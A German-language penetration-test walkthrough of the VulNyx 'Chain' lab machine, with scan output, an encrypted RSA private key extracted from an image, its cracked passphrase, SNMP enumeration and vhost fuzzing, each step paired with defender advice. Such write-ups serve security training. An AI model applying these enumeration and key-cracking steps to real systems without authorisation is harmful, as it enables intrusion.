Analyse: Hier wird ein Shell-Skript namens `recon_script.sh` ausgeführt, dessen Ausgabe der Variable `X` zugewiesen wird. Der Parameter `jenk.nyx` wird dem Skript übergeben, vermutlich ein Hostname oder eine Zieldomäne. Das Skript scheint initiale Aufklärungsaufgaben zu automatisieren.
Bewertung: Die Verwendung von Skripten zur Automatisierung der Reconnaissance ist effizient. Es ist jedoch wichtig, das Skript und seine Aktionen zu kennen, um die Ergebnisse korrekt interpretieren zu können. Ohne den Inhalt des Skripts können wir nur vermuten, welche Schritte durchgeführt wurden.
Empfehlung (Pentester): Dokumentieren oder überprüfen Sie den Inhalt von Automatisierungsskripten, um die durchgeführten Aktionen nachvollziehen zu können. Verwenden Sie Variablen, um Ergebnisse wie IP-Adressen für spätere Befehle wiederzuverwenden.
Empfehlung (Admin): Überwachen Sie Netzwerkaktivitäten, die auf automatisierte Scans hindeuten könnten. Implementieren Sie ggf. Intrusion Detection Systems (IDS), die solche Muster erkennen.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.128
Analyse: Der Befehl `echo $X` gibt den Inhalt der zuvor gesetzten Variable `X` aus. Das Skript `recon_script.sh` hat erfolgreich die IP-Adresse `192.168.2.128` ermittelt und in dieser Variable gespeichert.
Bewertung: Dies bestätigt, dass das Skript funktioniert hat und liefert die Ziel-IP-Adresse für die folgenden Scans. Die Verwendung einer Variable ist eine gute Praxis.
Empfehlung (Pentester): Bestätigen Sie immer die von Skripten ermittelten Informationen (wie die IP-Adresse), bevor Sie sie für weitere Scans verwenden.
Empfehlung (Admin): Stellen Sie sicher, dass interne IP-Adressen nicht unnötig von außen oder durch unautorisierte interne Systeme ermittelt werden können (z.B. durch Netzwerksegmentierung).
Analyse: Die folgenden Abschnitte zeigen die Ergebnisse eines ARP-Scans und den Inhalt der lokalen `/etc/hosts`-Datei. Der ARP-Scan identifiziert die MAC-Adresse `08:00:27:25:97:57`, die zu `PCS Systemtechnik GmbH` (oft ein Indikator für VirtualBox) gehört und der IP `192.168.2.128` zugeordnet ist. Die `/etc/hosts`-Datei auf dem Angreifer-System wurde bearbeitet, um den Hostnamen `chain.nyx` auf die Ziel-IP `192.168.2.128` aufzulösen.
Bewertung: Der ARP-Scan bestätigt die Erreichbarkeit des Ziels im lokalen Netzwerk und liefert einen Hinweis auf die Virtualisierungsumgebung. Das Anpassen der `/etc/hosts`-Datei ist entscheidend, um später Webdienste über ihren Hostnamen ansprechen zu können, insbesondere wenn virtuelle Hosts verwendet werden oder DNS nicht korrekt konfiguriert ist.
Empfehlung (Pentester): Führen Sie immer einen ARP-Scan im lokalen Netz durch, um aktive Hosts schnell zu identifizieren. Passen Sie die `/etc/hosts`-Datei an, wenn Hostnamen bekannt sind oder vermutet werden, um die Enumeration von Webdiensten zu erleichtern.
Empfehlung (Admin): Überwachen Sie ARP-Anfragen im Netzwerk. Verwenden Sie nach Möglichkeit statische ARP-Einträge für kritische Systeme. Stellen Sie sicher, dass die interne DNS-Auflösung korrekt funktioniert.
ARP-Scan 192.168.2.128 08:00:27:25:97:57 PCS Systemtechnik GmbH /etc/hosts 127.0.0.1 localhost 192.168.2.128 chain.nyx
: Nmap UDP Scan : Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 21:17 CEST Nmap scan report for 192.168.2.128 Host is up (0.00045s latency). Not shown: 993 open|filtered udp ports (no-response) PORT STATE SERVICE 161/udp open snmp 4444/udp closed krb524 16974/udp closed unknown 17077/udp closed unknown 20146/udp closed unknown 21514/udp closed unknown 49180/udp closed unknown MAC Address: 08:00:27:25:97:57 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
Analyse: Dieser Nmap-Befehl führt einen UDP-Scan (`-sU`) auf den Top 1000 UDP-Ports (`--top-port 1000`) des Ziels (`$IP`, was `192.168.2.128` ist) durch. Die Optionen `-T5` (höchste Zeit-Intensität für schnellere Scans), `-n` (keine DNS-Auflösung), `-Pn` (kein Host-Discovery/Ping-Scan, Host wird als online angenommen) und `--min-rate 5000` (mindestens 5000 Pakete pro Sekunde) werden verwendet, um den Scan zu beschleunigen. Die Ausgabe zeigt, dass Port `161/udp` offen ist, was der Standardport für SNMP (Simple Network Management Protocol) ist. Die anderen gescannten Ports sind entweder geschlossen oder gefiltert (Nmap konnte keine eindeutige Antwort erhalten).
Bewertung: Der offene SNMP-Port ist ein bedeutender Fund. SNMP kann, wenn unsicher konfiguriert (z.B. mit Standard-Community-Strings wie 'public' oder 'private'), eine Fülle von Informationen über das System preisgeben, einschließlich Netzwerkkonfiguration, laufende Prozesse, Benutzerkonten und mehr. Dies stellt einen wichtigen Angriffsvektor dar.
Empfehlung (Pentester): Untersuchen Sie den offenen SNMP-Port weiter. Versuchen Sie, mit Tools wie `snmpwalk` oder `snmp-check` und gängigen Community-Strings Informationen abzufragen.
Empfehlung (Admin): Wenn SNMP nicht benötigt wird, deaktivieren Sie den Dienst. Wenn es benötigt wird, konfigurieren Sie es sicher: Ändern Sie die Standard-Community-Strings, verwenden Sie SNMPv3 mit Authentifizierung und Verschlüsselung, und beschränken Sie den Zugriff auf autorisierte Management-Stationen über ACLs oder Firewall-Regeln.
80/tcp open http Apache httpd 2.4.56 ((Debian))
Analyse: Dieser Nmap-Befehl führt einen umfassenden TCP-Scan durch. `-sS` (SYN-Scan, Stealth-Scan), `-sC` (Standard-Skript-Scan), `-sV` (Versionserkennung), `-A` (Aggressiver Scan, beinhaltet OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute), `-p-` (scannt alle 65535 TCP-Ports). Die Optionen `-Pn` und `--min-rate 5000` dienen wieder der Beschleunigung. Die Ausgabe wird durch `grep open` gefiltert, um nur die Zeilen anzuzeigen, die offene Ports enthalten. Das Ergebnis zeigt, dass nur Port `80/tcp` offen ist und ein Apache Webserver der Version 2.4.56 auf Debian läuft.
Bewertung: Das Filtern mit `grep open` ist nützlich für eine schnelle Übersicht, verbirgt aber potenziell interessante Informationen über gefilterte Ports oder detaillierte Service-Informationen. Der einzige offene TCP-Port ist 80 (HTTP), was den Fokus der weiteren Untersuchung klar auf den Webserver legt.
Empfehlung (Pentester): Führen Sie zusätzlich zum gefilterten Scan auch einen vollständigen Scan ohne `grep` durch (wie im nächsten Schritt geschehen), um alle Details zu sehen. Beginnen Sie mit der Enumeration des Webservers auf Port 80.
Empfehlung (Admin): Beschränken Sie offene Ports auf das absolut Notwendige. Halten Sie die Webserver-Software (Apache) und das Betriebssystem (Debian) auf dem neuesten Stand, um bekannte Schwachstellen zu vermeiden. Überwachen Sie den Webserver-Traffic und die Logs.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 21:18 CEST Nmap scan report for chain.nyx (192.168.2.128) Host is up (0.00015s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-title: Chain |_http-server-header: Apache/2.4.56 (Debian) MAC Address: 08:00:27:25:97:57 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5 OS details: Linux 5.0 - 5.5 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.15 ms chain.nyx (192.168.2.128) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.79 seconds
Analyse: Dies ist die vollständige Ausgabe des vorherigen Nmap-Scans ohne `grep`. Sie bestätigt Port 80/tcp mit Apache 2.4.56 auf Debian. Zusätzlich liefert sie den Titel der Webseite (`Chain`), den Server-Header, die MAC-Adresse (erneut VirtualBox), eine Schätzung des Betriebssystems (Linux Kernel 5.x) und das Ergebnis des Traceroute (das Ziel ist direkt erreichbar, 1 Hop).
Bewertung: Die vollständige Ausgabe liefert wertvolle Kontextinformationen. Die genaue Apache-Version und das Betriebssystem sind nützlich für die Suche nach spezifischen Schwachstellen. Der Titel "Chain" könnte ein Hinweis auf den Namen der Maschine oder eine Anwendung sein.
Empfehlung (Pentester): Notieren Sie die genauen Versionen von Diensten und Betriebssystemen, um gezielt nach Exploits suchen zu können. Untersuchen Sie die Webseite auf Port 80 manuell und mit Web-Enumeration-Tools.
Empfehlung (Admin): Minimieren Sie die preisgegebenen Informationen (z.B. genaue Server-Version im Header). Halten Sie System und Software aktuell. Überprüfen Sie regelmäßig die Nmap-Ergebnisse aus der Sicht eines Angreifers.
Allow: GET,POST,OPTIONS,HEAD
Analyse: Mit `curl` wird eine HTTP-Anfrage mit der Methode `OPTIONS` (`-X OPTIONS`) an den Webserver gesendet. Die Option `-I` holt nur die Header, `-s` unterdrückt die Fortschrittsanzeige. Das Ergebnis wird durch `grep -i "allow"` gefiltert, um die Zeile zu finden, die die erlaubten HTTP-Methoden auflistet. Der Server erlaubt `GET`, `POST`, `OPTIONS` und `HEAD`.
Bewertung: Dies ist eine Standardkonfiguration. Das Fehlen potenziell gefährlicher Methoden wie `PUT` oder `DELETE` ist positiv aus Sicherheitssicht, schließt aber keine anderen Schwachstellen aus. Die Information, dass `POST` erlaubt ist, ist wichtig für die Untersuchung von Formularen oder API-Endpunkten.
Empfehlung (Pentester): Notieren Sie die erlaubten Methoden. Testen Sie besonders Funktionen, die `POST`-Anfragen verwenden (Logins, Formulare, Datei-Uploads).
Empfehlung (Admin): Stellen Sie sicher, dass nur die HTTP-Methoden aktiviert sind, die für die Funktionalität der Webanwendung tatsächlich benötigt werden. Deaktivieren Sie unnötige Methoden wie `TRACE` oder `DELETE`, falls nicht verwendet.
* Trying 192.168.2.128:80... * Connected to 192.168.2.128 (192.168.2.128) port 80 > HEAD / HTTP/1.1 > Host: 192.168.2.128 > User-Agent: curl/8.8.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK < Date: Wed, 11 Sep 2024 19:18:46 GMT < Server: Apache/2.4.56 (Debian) < Last-Modified: Fri, 23 Jun 2023 08:38:50 GMT < ETag: "ca-5fec7ee1f0268" < Accept-Ranges: bytes < Content-Length: 202 < Vary: Accept-Encoding < Content-Type: text/html < * Connection #0 to host 192.168.2.128 left intact
Analyse: Dieser `curl`-Befehl sendet eine `HEAD`-Anfrage (`-I`) an die Wurzel (`/`) des Webservers und gibt die Header aus (`-v` für Verbose-Modus, zeigt sowohl Anfrage- als auch Antwort-Header). Er bestätigt erneut den `200 OK`-Status, den Servertyp (Apache 2.4.56), das Datum der letzten Änderung (`Last-Modified`), einen ETag-Wert und den Inhaltstyp (`text/html`).
Bewertung: Die Header bestätigen die Ergebnisse des Nmap-Scans. Der ETag `ca-5fec7ee1f0268` könnte potenziell Informationen über die Datei auf dem Server preisgeben (Inode-Nummer), wie es Nikto später auch anmerkt. Dies ist in der Regel ein geringes Risiko, kann aber in bestimmten Szenarien nützlich sein.
Empfehlung (Pentester): Untersuchen Sie den ETag auf mögliche Informationslecks (obwohl oft nicht direkt ausnutzbar). Analysieren Sie den HTML-Quellcode der Hauptseite.
Empfehlung (Admin): Konfigurieren Sie den Webserver so, dass er keine potenziell sensiblen Informationen in ETags preisgibt (z.B. durch Deaktivieren von Inode-basierten ETags).
: Nikto Scan : - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.128 + Target Hostname: 192.168.2.128 + Target Port: 80 + Start Time: 2024-09-11 21:18:45 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.56 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + /: Server may leak inodes via ETags, header found with file /, inode: ca, size: 5fec7ee1f0268, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + 8909 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2024-09-11 21:19:23 (GMT2) (38 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto ist ein Webserver-Scanner, der nach bekannten Schwachstellen, Konfigurationsfehlern und interessanten Dateien/Verzeichnissen sucht. Die Ausgabe bestätigt die Apache-Version. Nikto meldet vier potenzielle Probleme: 1. Fehlender `X-Frame-Options`-Header: Ermöglicht potenziell Clickjacking-Angriffe. 2. Fehlender `X-Content-Type-Options`-Header: Könnte Browser dazu verleiten, Inhalte falsch zu interpretieren (MIME-Sniffing). 3. ETag-Leak: Bestätigt das potenzielle Informationsleck durch den ETag (Inode `ca`). 4. Erlaubte Methoden: Listet die bereits bekannten erlaubten HTTP-Methoden auf.
Bewertung: Die von Nikto gemeldeten Header-Probleme sind häufige, aber eher geringfügige Sicherheitsschwächen. Clickjacking und MIME-Sniffing erfordern spezifische Bedingungen, um ausgenutzt zu werden. Das ETag-Leak ist ebenfalls von geringem direkten Risiko. Diese Funde deuten jedoch auf eine möglicherweise nicht vollständig gehärtete Webserver-Konfiguration hin.
Empfehlung (Pentester): Auch wenn diese Funde nicht direkt ausnutzbar erscheinen, notieren Sie sie. Sie könnten in Kombination mit anderen Schwachstellen relevant werden. Konzentrieren Sie sich weiterhin auf die Suche nach gravierenderen Lücken wie Verzeichnis- oder Dateifunden.
Empfehlung (Admin): Implementieren Sie die empfohlenen Sicherheitsheader (`X-Frame-Options: SAMEORIGIN` oder `DENY`, `X-Content-Type-Options: nosniff`) in der Webserver-Konfiguration, um die Sicherheit zu erhöhen (Defense in Depth). Konfigurieren Sie ETags sicherer, wie zuvor empfohlen.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.128 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403,405,500 [+] Excluded status codes: 503,404,403 [+] User Agent: gobuster/3.6 [+] Extensions: png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,phtml,txt,php,rar,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg [+] Expanded: true [+] No TLS validation: true [+] Follow Redirect: false [+] Timeout: 10s =============================================================== 2024/09/11 21:20:01 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 202] /wordpress (Status: 301) [Size: 318] [--> http://192.168.2.128/wordpress/] /javascript (Status: 301) [Size: 319] [--> http://192.168.2.128/javascript/] /chain.png (Status: 200) [Size: 43963] =============================================================== 2024/09/11 21:31:08 Finished ===============================================================
Analyse: Gobuster wird verwendet, um nach versteckten Verzeichnissen und Dateien auf dem Webserver zu suchen (`dir`-Modus). Es verwendet die URL `http://192.168.2.128` (`-u`), eine mittelgroße Wortliste (`-w`), und eine umfangreiche Liste von Dateierweiterungen (`-x`). Statuscodes 404, 403 und 503 werden ignoriert (`-b`). `-e` erweitert die Suche auf vollständige URLs, `--no-error` unterdrückt Verbindungsfehler und `-k` ignoriert TLS/SSL-Fehler (hier irrelevant für HTTP). Gobuster findet die Standardseite `index.html`, zwei Verzeichnisse (`/wordpress`, `/javascript`, beide mit Redirect `301`), und eine Bilddatei `chain.png`.
Bewertung: Das Verzeichnis `/wordpress` ist ein sehr interessanter Fund, da WordPress eine weit verbreitete CMS-Plattform mit vielen potenziellen Schwachstellen (Plugins, Themes, Konfigurationsfehler) ist. Das Bild `chain.png` ist ebenfalls bemerkenswert, da Bilddateien manchmal Metadaten oder versteckte Informationen enthalten können (Steganographie).
Empfehlung (Pentester): Untersuchen Sie das `/wordpress`-Verzeichnis gründlich mit spezialisierten Tools wie `wpscan`. Laden Sie die `chain.png`-Datei herunter und analysieren Sie sie auf versteckte Daten oder Metadaten (z.B. mit `exiftool`, `steghide`, `strings`).
Empfehlung (Admin): Stellen Sie sicher, dass WordPress und alle zugehörigen Plugins/Themes aktuell und sicher konfiguriert sind. Entfernen Sie unnötige Dateien und Verzeichnisse vom Webserver. Überwachen Sie Zugriffe auf sensible Pfade.
--2024-09-11 21:31:28-- http://chain.nyx/chain.png
Auflösen des Hostnamens chain.nyx (chain.nyx)… 192.168.2.128
Verbindungsaufbau zu chain.nyx (chain.nyx)|192.168.2.128|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 43963 (43K) [image/png]
Wird in 'chain.png' gespeichert.
chain.png 100%[===================>] 42,93K --.-KB/s in 0s
2024-09-11 21:31:28 (1,85 GB/s) - 'chain.png' gespeichert [43963/43963]
Analyse: Der Befehl `wget` wird verwendet, um die Datei `chain.png` vom Webserver unter dem Hostnamen `chain.nyx` (der zuvor in `/etc/hosts` auf die Ziel-IP gemappt wurde) herunterzuladen. Der Download ist erfolgreich.
Bewertung: Dies ist der notwendige Schritt, um die mit Gobuster gefundene Bilddatei zur weiteren Analyse verfügbar zu machen.
Empfehlung (Pentester): Fahren Sie mit der Analyse der heruntergeladenen Datei fort.
Empfehlung (Admin): Protokollieren Sie Dateidownloads vom Webserver, um ungewöhnliche Aktivitäten zu erkennen.
-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,92E78A581F3E1F25 pLzUnqFfRfhNyMnFWUQJj0+h6ctKAR0G83+8TCL7X8H571/20pdIDmQtLVut5Che n3RZu71xq8SK5G6ivVj3JtrijV5M541c90dp6I1V1dkg/+iYIEich7VXj/uZ8n RgQRpgAompw4EEC/+Q8WhvPadl/6syW1+UvlZlzV0mAlYQxDVF/PiJDoxt7QBXVF UQ1ma+4D/E1EL9PxWYfcqmEZRavN3FdCQ8DNiApBXWRwUkina2G+dkZBkZJhroh t+YnSTv/ls+//Xb2xoovj8n3fI6jG7VLCeXY3GuxZTqAkT5yG5iC3qvszeb411f nlGjkcUTHYLjVC/zuyz01zJTw0gYiss7eMdl3arvV1Da0qkov2o1ht1R+gEa/c ChaYjNoBdFKLzGr7Xf8RfqouIgL8IrIe50q3jar+S5Z5M4D1pKdEWlAUjP2ais7 MUk8hk2gq0IuGEbwDG7JRXSbbMM4FGYU3t4g1eFbjTTYUS91/jGrufUpw9Ec+6 l4K5Ee5uZeIio4rMwcdqinA9rvgfYJiHZ5q9Di/MW9T/7HQVYWCEEXngILpDwVlK sEwUcqAMCbxYBG0FEc2IV4dnMIDTuRFJoNy9sWifKEnNM1TnBhUyYDZFaJNEiRP JGT9vmDRqlQYQQvqPmf+uoYkH554FYEbUhjNgUL7k2NLD0+0i5nU4zVMwg1Btc SjBLIMmyYpj5RT/U8DZiefCWbyYCkz6BwyvGiUBGlGIbWTM5fCajqhUSsh0616C xCuftFjPI4AaRTEb+hSQAvKq6ePvw6ErmrUJK2xMW6U6CLTbWXhRJ3grR7MXUV BWZyrPHRntGiLNqX+ZH/M7JRZegvY2uhMPmPeq7hH9x/UqIghvYilKEqruui4j73 EGiJRBD9h7buEispZoLhXZmgw3XmHqPC+oCK4XCrXqRaSrN2X/ufyhyLv+CsK rMAJnifHZBkUq1HXU1BmEcK4eBPXRq/RZsvKgPiswZjYQwjx36+rvts6wb5XRyY l29jefPpaWw7eCZbfA+9Czi2PTpLd2WKhl0Lq3kgdZ+NCTkVKCD3rtbx9UNJZ aCXj/iaCFBFWcs7JUCW/go1jyucRjAhcPhynD+6QkV7E8i1fgTAEzmhJhybxVlb9 RXiC7qk7LpQM/TMf2VoX7Bt1t/Gx/Afblfz3H6xtCyuMlkCHXdius7z121BzY9D6 PytF26BXw6vM29wzxkLtX0TT0a+6A2GSiH19qnEcwWqsy6XrYrcIgVtzGyepMPL ggIxeKc8W32N2wn73zAI7a1DyQFlVfF+Ve0bYKDpIMhwa0q+9q0AwLWDq3SG2m a1osxjpqh0Puy+XlStMuIN234LupUR6Q/A7UoSbZosIMhBoyLWNH0pYr36kLApcC YTnAhcvTzAs/jdPSo5Qze6U4G8G0MDRstUEugfvoEoEf+iZkBJEvYlQc7Sc2vdC qd+4B2iD0e5kBvUxmiNmTiC+9xP1oi5Z2PR28bcGy7JWj3yQ8ra4YKP1PLbmY1yq MwqyWhIV0Hv1iSp8iEXWwRX/BuQH5nbHWgkzykGQkEp8c2M2op0CaA -----END RSA PRIVATE KEY----- IHDR PLTE tRNS pHYs tIME IDATx iTXtXML:com.adobe.xmp
Analyse: Das Tool `strings` wird verwendet, um druckbare Zeichenketten aus der Binärdatei `chain.png` zu extrahieren. Überraschenderweise enthält die Bilddatei einen vollständigen, mit DES-EDE3-CBC verschlüsselten RSA Private Key.
Bewertung: Dies ist ein kritischer Fund! Private Schlüssel sollten niemals in öffentlich zugänglichen Dateien wie Bildern gespeichert werden. Auch wenn der Schlüssel verschlüsselt ist, stellt er ein enormes Sicherheitsrisiko dar, da das Passwort möglicherweise geknackt werden kann.
Empfehlung (Pentester): Extrahieren Sie den Schlüssel in eine separate Datei. Verwenden Sie Tools wie `ssh2john` und `John the Ripper` (oder `Hashcat`), um das Passwort für den Schlüssel zu knacken.
Empfehlung (Admin): Entfernen Sie sofort den privaten Schlüssel aus der Bilddatei. Überprüfen Sie alle öffentlich zugänglichen Dateien auf eingebettete sensible Informationen. Implementieren Sie Prozesse, um sicherzustellen, dass Schlüssel sicher gespeichert und verwaltet werden (z.B. in Key Vaults, nicht in Web-Verzeichnissen).
Analyse: Der Befehl `vi chain` öffnet den Texteditor `vi`, um eine neue Datei namens `chain` zu erstellen oder zu bearbeiten. Vermutlich wird hier der zuvor mit `strings` gefundene RSA-Schlüssel hineinkopiert.
Bewertung: Notwendiger Schritt, um den Schlüssel für die weitere Verarbeitung mit `ssh2john` vorzubereiten.
Empfehlung (Pentester): Stellen Sie sicher, dass der Schlüssel korrekt und vollständig in die Datei kopiert wird, einschließlich der `-----BEGIN...` und `-----END...` Zeilen.
Empfehlung (Admin): - (Keine direkte Empfehlung für diesen Schritt)
Analyse: Der Befehl `chmod 600 chain` ändert die Dateiberechtigungen der Datei `chain` so, dass nur der Besitzer Lese- und Schreibrechte hat (600). Andere Benutzer haben keine Rechte.
Bewertung: Dies ist eine bewährte Sicherheitspraxis für private Schlüsseldateien, um sicherzustellen, dass sie nicht versehentlich von anderen Benutzern auf dem System gelesen werden können. Viele SSH-Clients und Tools setzen diese Berechtigungen sogar voraus.
Empfehlung (Pentester): Setzen Sie immer restriktive Berechtigungen (600 oder 400) für private Schlüsseldateien.
Empfehlung (Admin): Stellen Sie sicher, dass private Schlüsseldateien immer mit restriktiven Berechtigungen gespeichert werden.
Analyse: `ssh2john` ist ein Hilfsprogramm von John the Ripper. Es extrahiert den Hash des Passworts aus der verschlüsselten SSH-Schlüsseldatei (`chain`) und gibt ihn in einem Format aus, das `John the Ripper` versteht. Die Ausgabe wird in die Datei `hash` umgeleitet.
Bewertung: Notwendiger Vorbereitungsschritt, um das Passwort des Schlüssels knacken zu können.
Empfehlung (Pentester): Verwenden Sie das passende `*2john`-Tool für den jeweiligen Hash-Typ.
Empfehlung (Admin): - (Keine direkte Empfehlung für diesen Schritt)
Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 16 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ blue12 (chain) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1g 0:00:00:00 DONE (2024-09-11 21:33) 50.00g/s 153600p/s 153600c/s 153600C/s westham..pangga Use the "--show" option to display all of the cracked passwords reliably Session completed.
Analyse: `John the Ripper` wird gestartet, um den aus der Datei `hash` geladenen SSH-Schlüssel-Hash zu knacken. Es verwendet die bekannte Wortliste `rockyou.txt` (`--wordlist=...`). John identifiziert den Hash-Typ korrekt und startet den Cracking-Prozess mit 16 Threads. Er findet sehr schnell das Passwort: `blue12`.
Bewertung: Erfolg! Das Passwort für den privaten Schlüssel wurde gefunden. Dies ist ein kritischer Fortschritt, da der Schlüssel nun potenziell verwendet werden kann, um sich irgendwo anzumelden, wahrscheinlich als Benutzer "blue", da das Passwort "blue12" lautet.
Empfehlung (Pentester): Versuchen Sie, sich mit dem entschlüsselten privaten Schlüssel per SSH anzumelden. Da kein SSH-Port offen war, könnte der Schlüssel für etwas anderes verwendet werden oder ein SSH-Dienst läuft auf einem unüblichen Port oder ist nur intern erreichbar. Suchen Sie nach Benutzernamen, die zum Schlüssel passen könnten (z.B. "blue").
Empfehlung (Admin): Verwenden Sie starke, komplexe Passwörter für verschlüsselte Schlüssel und andere sensible Daten. Überwachen Sie fehlgeschlagene und erfolgreiche Anmeldeversuche.
HTTP/1.1 403 Forbidden
Date: Wed, 11 Sep 2024 19:55:23 GMT
Server: Apache/2.4.56 (Debian)
Content-Length: 274
Content-Type: text/html; charset=iso-8859-1
Analyse: Es wird versucht, mittels einer `GET`-Anfrage an `http://chain.nyx/wordpress/?author=1` Benutzernamen aus WordPress zu enumerieren. Diese Technik nutzt die Tatsache, dass WordPress bei gültigen Autoren-IDs oft auf deren Autorenseite weiterleitet oder deren Namen preisgibt. Der Server antwortet jedoch mit `403 Forbidden`.
Bewertung: Der Versuch der Benutzerenumeration über die Autoren-ID schlägt fehl. Der Server ist so konfiguriert, dass dieser Zugriff verboten ist. Das ist eine gute Sicherheitsmaßnahme, verhindert aber diesen speziellen Enumerationsweg.
Empfehlung (Pentester): Versuchen Sie andere WordPress-Enumerationstechniken (z.B. über die Login-Seite, XML-RPC, REST-API) mit Tools wie `wpscan`.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzerenumeration über Techniken wie Autoren-Scans unterbunden wird (z.B. durch Webserver-Regeln oder Sicherheitsplugins).
iso.3.6.1.2.1.1.1.0 = STRING: "Linux chain 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64" iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10 iso.3.6.1.2.1.1.3.0 = Timeticks: (255166) 0:42:31.66 iso.3.6.1.2.1.1.4.0 = STRING: "Blue <blue@chaincorp.nyx>" iso.3.6.1.2.1.1.5.0 = STRING: "Chain" iso.3.6.1.2.1.1.6.0 = STRING: "VulNyx.com"
Analyse: `snmpwalk` wird verwendet, um Informationen über den offenen SNMP-Port (UDP 161) abzufragen. Es verwendet SNMP Version 2c (`-v 2c`) und den Community-String `security` (`-c security`). Der Befehl ist erfolgreich und liefert interessante Informationen:
* OS-Details: `Linux chain 5.10.0-23-amd64 ... Debian 5.10.179-1`
* Kontakt: `Blue
Bewertung: Dies ist ein sehr erfolgreicher Schritt! Der Community-String `security` war offenbar korrekt und nicht der Standard ('public'). Die gewonnenen Informationen sind äußerst wertvoll: * Bestätigung des Hostnamens `chain`. * Identifikation eines Benutzers `Blue` und einer potenziellen E-Mail/Domain `blue@chaincorp.nyx`. Dies legt nahe, dass es eine Subdomain `chaincorp.nyx` geben könnte. * Bestätigung der Plattform (`VulNyx.com`).
Empfehlung (Pentester): Fügen Sie den Hostnamen `chaincorp.nyx` zur `/etc/hosts`-Datei hinzu und mappen Sie ihn auf die Ziel-IP. Versuchen Sie, Subdomains für `chaincorp.nyx` zu finden (z.B. mit `wfuzz` oder `gobuster vhost`). Nutzen Sie den Benutzernamen `blue` für weitere Angriffsversuche (z.B. Brute-Force auf Web-Logins oder SSH, falls gefunden).
Empfehlung (Admin): Ändern Sie den SNMP-Community-String `security` sofort in einen starken, nicht erratbaren Wert. Verwenden Sie SNMPv3 mit Authentifizierung und Verschlüsselung. Beschränken Sie den SNMP-Zugriff auf vertrauenswürdige IPs.
Analyse: Die lokale `/etc/hosts`-Datei wird erneut bearbeitet, vermutlich um den durch SNMP aufgedeckten Hostnamen `chaincorp.nyx` hinzuzufügen und auf die IP `192.168.2.128` zu mappen.
Bewertung: Korrekter Schritt, um die neuen Informationen aus dem SNMP-Scan für die weitere Enumeration nutzbar zu machen.
Empfehlung (Pentester): Pflegen Sie die `/etc/hosts`-Datei sorgfältig während des Pentests.
Empfehlung (Admin): -
192.168.2.128 chain.nyx chaincorp.nyx
Analyse: Überprüft, ob der Eintrag für `chaincorp.nyx` korrekt in der `/etc/hosts`-Datei vorhanden ist und auf die richtige IP zeigt.
Bewertung: Bestätigt die erfolgreiche Vorbereitung für die Subdomain-Enumeration.
Empfehlung (Pentester): Führen Sie solche Überprüfungen durch, um sicherzustellen, dass Konfigurationsänderungen korrekt angewendet wurden.
Empfehlung (Admin): -
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://chaincorp.nyx/ Total requests: 114441 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000009532: 400 10 L 35 W 301 Ch "#www" 000010581: 400 10 L 35 W 301 Ch "#mail" 000012080: 200 20 L 37 W 628 Ch "utils" <<< Found! 000047706: 400 10 L 35 W 301 Ch "#smtp" 000103135: 400 10 L 35 W 301 Ch "#pop3" Total time: 0 Processed Requests: 114441 Filtered Requests: 114436 Requests/sec.: 0
